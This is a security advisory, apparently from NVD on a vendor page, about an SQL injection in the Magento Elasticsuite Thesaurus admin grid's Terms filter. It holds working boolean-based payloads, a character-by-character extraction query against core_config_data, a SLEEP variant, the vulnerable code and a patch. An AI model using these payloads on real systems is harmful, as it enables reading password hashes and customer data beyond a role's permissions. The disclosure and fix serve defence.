SQL injection (SELECT WHERE context, boolean/time-based) via the Terms column filter of the admin Thesaurus grid. Attacker: admin user with a restricted role Preconditions: Authenticated admin whose role grants Smile_ElasticsuiteThesaurus::manage (it can be the only grant). The request needs the admin session and the URL secret key, so there is no cross-site trigger. No config flag involved; the grid is part of the default module set of the package
Code path:
Preconditions: an admin account whose role grants Smile_ElasticsuiteThesaurus::manage (it can be the only granted resource), and a valid admin session.
The "Terms" column filter value is passed unchanged to Smile\ElasticsuiteThesaurus\Model\ResourceModel\Thesaurus\Collection::setTermFilter(), which builds the WHERE clause by string interpolation:
// Model/ResourceModel/Thesaurus/Collection.php
$term = preg_replace("/[\s-]/", "%", $term); // spaces and '-' become '%'
...
$select->where("expansion_table.term LIKE '%{$term}%'", $term)
->orWhere("reference_table.term LIKE '%{$term}%'", $term);The second argument only fills ? placeholders, of which the condition has none, so the value is injected verbatim. The preg_replace turns whitespace into %, so a payload uses inline comments (/**/) in place of spaces. Filtering the Thesaurus grid "Terms" column with the two values below yields different result sets, which confirms the value reaches the SQL engine as code (a boolean oracle):
# condition evaluates to TRUE -> grid returns the matching thesauri
zzz'/**/OR/**/(SELECT/**/COUNT(*)/**/FROM/**/admin_user)>0/**/OR/**/'zzz
# same payload, condition evaluates to FALSE -> grid returns nothing
zzz'/**/OR/**/(SELECT/**/COUNT(*)/**/FROM/**/admin_user)<0/**/OR/**/'zzzThe generated clause becomes:
expansion_table.term LIKE '%zzz' OR (SELECT COUNT(*) FROM admin_user)>0 OR 'zzz%'By replacing the subquery with a comparison that targets one bit of data at a time (for example SUBSTRING((SELECT password FROM admin_user LIMIT 1),1,1) > 'm'), an attacker reads arbitrary database contents one boolean question per request. A time-based variant using SLEEP() works where the result set is not observable.
<details>
<summary>Reproduction against the unfixed code</summary>
Setup
Smile_ElasticsuiteThesaurus::manage and an admin user in that role.core_config_data under the path repro/marker/value.
Baseline
Logged in as the restricted admin, Stores > Configuration redirects to the "access denied" page (HTTP 403). The role cannot read configuration.
Request
In Elasticsuite > Thesaurus, type the value into the "Terms" column filter and search. Over HTTP it is a GET to the grid URL with filter set to the base64 of thesaurus_terms_summary=<value>:GET /admin/smile_elasticsuite_thesaurus/thesaurus/index/key/<secret key>/?filter=<base64>| Filter value | Result |
|---|---|
zzz'/**/OR/**/(SELECT/**/COUNT(*)/**/FROM/**/admin_user)>0/**/OR/**/'zzz | the thesaurus row is returned |
zzz'/**/OR/**/(SELECT/**/COUNT(*)/**/FROM/**/admin_user)<0/**/OR/**/'zzz | no rows |
Statement built by the collection for the first value, printed from Collection::getSelect() and seen in the MariaDB general log: |
WHERE (expansion_table.term LIKE '%zzz'/**/OR/**/(SELECT/**/COUNT(*)/**/FROM/**/admin_user)>0/**/OR/**/'zzz%')
OR (reference_table.term LIKE '%zzz'/**/OR/**/(SELECT/**/COUNT(*)/**/FROM/**/admin_user)>0/**/OR/**/'zzz%')
GROUP BY `main_table`.`thesaurus_id`Reading data outside the role
The same two-answer signal reads one character at a time. Position N, threshold T:
zzz'/**/OR/**/(SELECT/**/ASCII(SUBSTRING(value,N,1))/**/FROM/**/core_config_data/**/WHERE/**/path='repro/marker/value')>T/**/OR/**/'zzzA binary search over T needs 7 requests per character. The run recovered all 12 characters of the stored value (6jvbc31ah8rx) in 84 requests and about one minute, as the restricted admin.
Constraints on the value: whitespace and - are replaced by % before the query is built, so spaces are written as /**/ and - cannot be used; a ? would be treated as a placeholder.
Control with the fix applied
With the two conditions changed to bound parameters, both values from the table return no rows, and a plain term (zzzalpha, one of the thesaurus terms) still returns the row:
- $select->where("expansion_table.term LIKE '%{$term}%'", $term)
- ->orWhere("reference_table.term LIKE '%{$term}%'", $term);
+ $select->where("expansion_table.term LIKE ?", "%{$term}%")
+ ->orWhere("reference_table.term LIKE ?", "%{$term}%");</details>
An admin limited to thesaurus management can read any data the Magento DB user can read through boolean or time-based subqueries (admin password hashes, customer PII, encrypted config values, integration tokens), which is outside that role's ACL scope. No write primitive is shown: the sink is a SELECT WHERE clause and multi-statements are off. SLEEP-based stalling of a connection is possible but not scored.
Until you can upgrade, only grant the Smile_ElasticsuiteThesaurus::manage resource (Stores > Permissions > User Roles > Role Resources > "Elasticsuite > Thesaurus") to fully trusted admin roles.
Fuente: NVD
Evaluación gratuita de vulnerabilidades
Evalúa tus prácticas de seguridad en la nube en 9 dominios de seguridad para evaluar tu nivel de riesgo e identificar brechas en tus defensas.
Obtén una demostración personalizada
"La mejor experiencia de usuario que he visto en mi vida, proporciona una visibilidad completa de las cargas de trabajo en la nube."
"Wiz proporciona un panel único para ver lo que ocurre en nuestros entornos en la nube."
"Sabemos que si Wiz identifica algo como crítico, en realidad lo es."